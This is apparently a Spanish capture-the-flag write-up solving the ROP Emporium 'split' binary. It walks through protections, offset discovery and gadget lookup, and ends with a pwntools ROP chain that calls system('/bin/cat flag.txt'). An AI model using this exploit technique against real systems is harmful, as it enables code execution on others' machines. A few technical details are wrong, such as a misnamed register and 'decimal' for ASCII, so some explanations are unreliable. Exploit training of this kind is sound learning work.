ROP emporium - split

Table of contents

  1. A tomar en cuenta
  2. Analizando el binario
  3. Crafteando el exploit
    1. Sacando el offset del RIP
    2. Direccion de system
    3. Direccion de /bin/cat flag.txt
    4. Direccion de pop rdi
  4. Ejecutando el exploit

Resolucion del desafio split de ROPemporium, donde usaremos el gadget pop rdi; ret para escribir en RDI la direccion de /bin/cat flag

A tomar en cuenta

  • La dirección máxima en 64 bits es 0x00007FFFFFFFFFFF y el RIP no puede sobrescribir una dirección mayor que este valor.
  • Los parámetros de función se pasan a los registros. Estos registros son RDI, RSI, RDX, RSX, R8, R9, respectivamente. Si el número de parámetros es superior a 6, se guardan en el stack

Analizando el binario

Primeramente veremos con que protecciones cuenta el binario, esto con checksec:

checksec --file=split                                             ─╯
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols	  No	0		3		split

Como se puede ver tiene NX asi que no podemos ejecutar codigo en el stack, asi que para resolverlo vamos a usar ROP (Programacion Orientada el Retorno).

Ahora metere el binario a radare2 para ver lo que esta haciendo en el main:

Aqui lo unico interesante es que se esta llamando a la funcion pwnme en la direccion 0x004006d2. Y lo demas simplemente es el mensajito de bienvenida.

En la funcion pwnme tenemos esto:

  • En color rojo se esta declarando un puntero llamado buf que esta 0x20 por debajo del RBP
  • En color amarillo se esta creando un buffer de 0x20 (32 bytes) el cual se almacena en buf
  • En color verde es cuando el programa recibe nuestro input el cual lee 0x60 bytes en buf.

Esto no es todo, siempre hay que mostrar todas las funciones en un programa, en radare lo hacemos con alf. Veamos:

Vemos como existe una funcion llamada usefulFunction la cual nunca se llama en el programa, y si vemos codigo tenemos algo como esto:

Se esta haciendo uso de la funcion system para llamar a /bin/ls, esto no es lo que queremos, nosotros queremos que llame a /bin/cat flag.txt, y la pregunta es… ¿Como yo se que en el binario se esta llamando a /bin/cat flag.txt?, pues facil, simplemente podemos mostrar los strings con rabin2 -z split:

Podemos ver que en la seccion .data esta /bin/cat flag.txt, asi que tenemos que sustituirlo por /bin/ls

Crafteando el exploit

Sacando el offset del RIP

Con pwndbg voy a ocasionar que el buffer pete pasandole la cadena generada por cyclic 100, y deberiamos ver algo como esto:

*RBP  0x6161616161616165 ('eaaaaaaa')
*RSP  0x7fffffffda78 ◂— 0x6161616161616166 ('faaaaaaa')
*RIP  0x400741 (pwnme+89) ◂— ret 
───────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────
 ► 0x400741 <pwnme+89>    ret    <0x6161616161616166>

Vemos que no sobrescribimos RIP en absoluto. Esto se debe a que sobrescribimos RIP con una dirección no válida mayor que 0x00007fffffffffff. Esto hace que el sistema operativo genere una excepción, y por lo tanto, no actualice el valor de RIP en absoluto.

Asi que para sacar su offset podemos usar el registro RSP, para sacar el offset de RSP ponemos cyclic -l faaaaaaa y esto nos da un offset de 40, este offset es el mismo que tiene el saved-rip, y tiene el mismo ya que el saved rip tiene el valor guardado del puntero de instruccion, es decir, adonde regresar, pero este valor se guarda en el stack en una direccion en particular, y esa direccion es 0x7fffffffda78, esto lo podemos saber si mostramos el frame y vemos esta parte:

 Saved registers:
  rip at 0x7fffffffda78

Y si mostramos unos cuantos byes del stack, con el comando x/30wx $rsp vemos algo como esto:

0x7fffffffda78:	0x61616166	0x61616161	0x61616167	0x61616161
0x7fffffffda88:	0x61616168	0x61616161	0x61616169	0x61616161
0x7fffffffda98:	0x6161616a	0x61616161	0x6161616b	0x61616161
0x7fffffffdaa8:	0x6161616c	0x61616161	0xffffdb98	0x00007fff
0x7fffffffdab8:	0x35f3056c	0x394c8b3a	0x00000000	0x00000000
0x7fffffffdac8:	0xffffdba8	0x00007fff	0x00000000	0x00000000
0x7fffffffdad8:	0xf7ffd000	0x00007fff	0x80d1056c	0xc6b374c5
0x7fffffffdae8:	0xb179056c	0xc6b36486

En donde en la direccion 0x7fffffffda78 tenemos los valores 0x61616166 0x61616161, los cuales son los mismos que tiene el RSP, asi que podemos decir que el saved rip tiene el valor 0x6161616161616166 y el RSP el valor faaaaaaa (que es lo mismo que 0x6161616161616166 pero en decimal), ademas podemos tambien hacer un cyclic -l 0x6161616161616166 y nos dara un offset de 40 al igual que el RSP. Y como ultimo, en este caso le estamos indicando al programa que regrese a 0x6161616161616166, lo cual es incorrecto. Y por toda esta explicacion es la razon por la cual el saved rip y el RSP tienen el mismo offset (nunca habia explicado esto y es bueno saberlo).

Direccion de system

Esto es muy facil, para esto, usaremos la direccion de system que se encuentra en la funcion usefulFunction, como se puede ver aca:

La direccion es: 0x000000000040074b

Direccion de /bin/cat flag.txt

Esto lo hacemos con rabin2 -z split y copiamos la direccion, la cual es: 0x00601060

Direccion de pop rdi

Como mencione hace un rato, usamos esto para meter en el registro rdi: /bin/cat flag.txt. La direccion de pop rdi la podemos sacar con herramientas como ropper, la cual nos permiten ver todos los gadgets del programa. Usamos el comando ropper -f split.

Vemos como nos encontro el gadget:

0x00000000004007c3: pop rdi; ret; y su direccion es 0x00000000004007c3

Ejecutando el exploit

Al final nuestro exploit quedo asi:

from pwn import *

p = process("./split")

padding = b"A" * 40
system = 0x000000000040074b
bin_cat = 0x00601060
pop_rdi = 0x00000000004007c3

payload = padding
payload += p64(pop_rdi)
payload += p64(bin_cat)
payload += p64(system)

p.sendline(payload)
print(p.recvall().decode())

Y lo que hicimos fue:

  • Cambiar el return adress a la dirección de pop rdi; ret.
  • Después del return adress, pusimos la dirección de /bin/cat flag.txt
  • Después de la dirección de /bin/cat flag.txt, pusimos la dirección de system@plt

De esta manera después de la última instrucción de pwnme se ejecute (osea el ret), el RIP saltara a la dirección de pop rdi;ret, simultáneamente el RSP apuntará ahora a la dirección de /bin/cat flag.txt. Luego se pondrá en rdi la dirección de /bin/cat flag.txt y el ret ejecutará la funcionsystem que tiene como argumento /bin/cat flag.txt :point_up: 🤓

Y al ejecutarlo nos da la flag:

Eso ha sido todo, gracias por leer ❤